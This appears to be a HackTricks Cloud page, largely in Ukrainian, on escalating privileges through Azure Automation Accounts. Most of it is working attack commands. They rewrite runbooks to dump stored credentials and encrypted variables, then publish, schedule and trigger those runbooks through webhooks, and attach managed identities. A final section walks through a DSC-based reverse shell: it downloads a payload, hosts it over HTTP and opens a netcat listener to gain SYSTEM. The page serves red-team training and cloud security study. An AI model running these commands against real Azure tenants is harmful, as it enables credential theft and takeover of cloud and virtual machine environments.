Az - Azure Automation Accounts Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Automation Accounts
Для отримання додаткової інформації див.:
Hybrid Workers Group
- Від Automation Account до VM
Пам’ятайте, що якщо attacker якимось чином зможе виконати довільний runbook (довільний код) у hybrid worker, він pivot to the location of the VM. Це може бути on-premise машина, VPC іншого cloud або навіть Azure VM.
Крім того, якщо hybrid worker працює в Azure з іншими Managed Identities, приєднаними до нього, runbook зможе отримати доступ до managed identity of the runbook and all the managed identities of the VM from the metadata service.
Tip
Пам’ятайте, що metadata service має іншу URL-адресу (
http://169.254.169.254) ніж сервіс, звідки отримується токен Managed Identities для automation account (IDENTITY_ENDPOINT).
- Від VM до Automation Account
Крім того, якщо хтось compromise VM, на якій виконується скрипт automation account, він зможе знайти метадані Automation Account і звернутися до них з VM, щоб отримати токени для приєднаних Managed Identities Automation Account.
Як видно на наступному зображенні, маючи Administrator доступ до VM, можна знайти в environment variables of the process URL і секрет для доступу до automation account metadata service:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)
У підсумку ці дозволи дають можливість create, modify and run Runbooks в Automation Account, що можна використати для execute code в контексті Automation Account, ескалації привілеїв до призначених Managed Identities та leak credentials і encrypted variables, збережених в Automation Account.
Дозвіл Microsoft.Automation/automationAccounts/runbooks/draft/write дозволяє змінювати код Runbook в Automation Account, використовуючи:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Зверніть увагу, як попередній скрипт можна використати, щоб leak the useranmd and password облікових даних та отримати значення зашифрованої змінної, збереженої в Automation Account.
Дозвіл Microsoft.Automation/automationAccounts/runbooks/publish/action дозволяє користувачу опублікувати Runbook в Automation Account, щоб зміни були застосовані:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Дозвіл Microsoft.Automation/automationAccounts/jobs/write дозволяє користувачеві запустити Runbook в Automation Account за допомогою:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Дозвіл Microsoft.Automation/automationAccounts/jobs/output/read дозволяє користувачу читати вивід завдання в Automation Account за допомогою:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться дозволи Microsoft.Resources/subscriptions/resourcegroups/read та Microsoft.Automation/automationAccounts/runbooks/write, щоб зробити це за допомогою:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Цей дозвіл дозволяє користувачу assign a user managed identity до Automation Account, використовуючи:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write
Маючи дозвіл Microsoft.Automation/automationAccounts/schedules/write, можна створити новий Schedule в Automation Account, який виконується кожні 15 хвилин (не дуже приховано), використовуючи наступну команду.
Зверніть увагу, що мінімальний інтервал для schedule — 15 хвилин, а мінімальний час початку — не раніше, ніж через 5 хвилин у майбутньому.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Тоді, з дозволом Microsoft.Automation/automationAccounts/jobSchedules/write можна призначити Scheduler для runbook, використовуючи:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
Tip
У попередньому прикладі id розкладу завдання було вказано як
b510808a-8fdc-4509-a115-12cfc3a2ad0dяк приклад, але для створення цього призначення вам потрібно використати довільне значення.
Microsoft.Automation/automationAccounts/webhooks/write
З дозволом Microsoft.Automation/automationAccounts/webhooks/write можливо створити новий Webhook для Runbook в Automation Account, використавши одну з наведених команд.
With Azure Powershell:
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
За допомогою AzureCLI і REST:
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
Ці команди повинні повернути webhook URI, який відображається лише під час створення. Потім, щоб викликати runbook за допомогою webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Маючи лише дозвіл Microsoft.Automation/automationAccounts/runbooks/draft/write, можна оновити код Runbook без публікації й запустити його за допомогою таких команд.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)
Цей дозвіл дозволяє користувачеві налаштувати source control для Automation Account за допомогою команд, таких як наведені нижче (в якості прикладу використовується Github):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be possible to escalate privileges.
Крім того, пам’ятайте, що для роботи source control в Automation Accounts воно повинно мати managed identity з роллю Contributor, а якщо це user managed identity, client id of the MI має бути вказано в змінній AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.
Tip
Зверніть увагу, що неможливо змінити repo URL у source control після його створення.
Microsoft.Automation/automationAccounts/variables/write
З дозволом Microsoft.Automation/automationAccounts/variables/write можна записувати змінні в Automation Account за допомогою наступної команди.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Custom Runtime Environments
Якщо automation account використовує custom runtime environment, можливо перезаписати custom package цього runtime шкідливим кодом (наприклад, a backdoor). Таким чином, щоразу, коли runbook, який використовує цей custom runtime, виконується й завантажує custom package, шкідливий код буде виконано.
Compromising State Configuration
Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Step 1 — Create Files
Files Required: Two PowerShell scripts are needed:
reverse_shell_config.ps1: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from GitHub.push_reverse_shell_config.ps1: A script to publish the configuration to the VM, available at GitHub.
Customization: Variables and parameters in these files must be tailored to the user’s specific environment, including resource names, file paths, and server/payload identifiers.
- Step 2 — Zip Configuration File
The reverse_shell_config.ps1 is compressed into a .zip file, making it ready for transfer to the Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Step 3 — Set Storage Context & Upload
Зіпований файл конфігурації завантажується до попередньо визначеного контейнера Azure Storage, azure-pentest, за допомогою Azure’s Set-AzStorageBlobContent cmdlet.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Step 4 — Підготовка Kali Box
Сервер Kali завантажує payload RevPS.ps1 з репозиторію GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Скрипт редагується для вказівки цільової Windows VM і порту для reverse shell.
- Крок 5 — Опублікувати файл конфігурації
Файл конфігурації виконується, внаслідок чого reverse-shell скрипт розгортається у вказаному місці на Windows VM.
- Крок 6 — Розмістити payload та налаштувати listener
Запускається Python SimpleHTTPServer для розміщення payload, разом з Netcat listener для перехоплення вхідних з’єднань.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Заплановане завдання виконує payload, отримуючи привілеї рівня SYSTEM.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

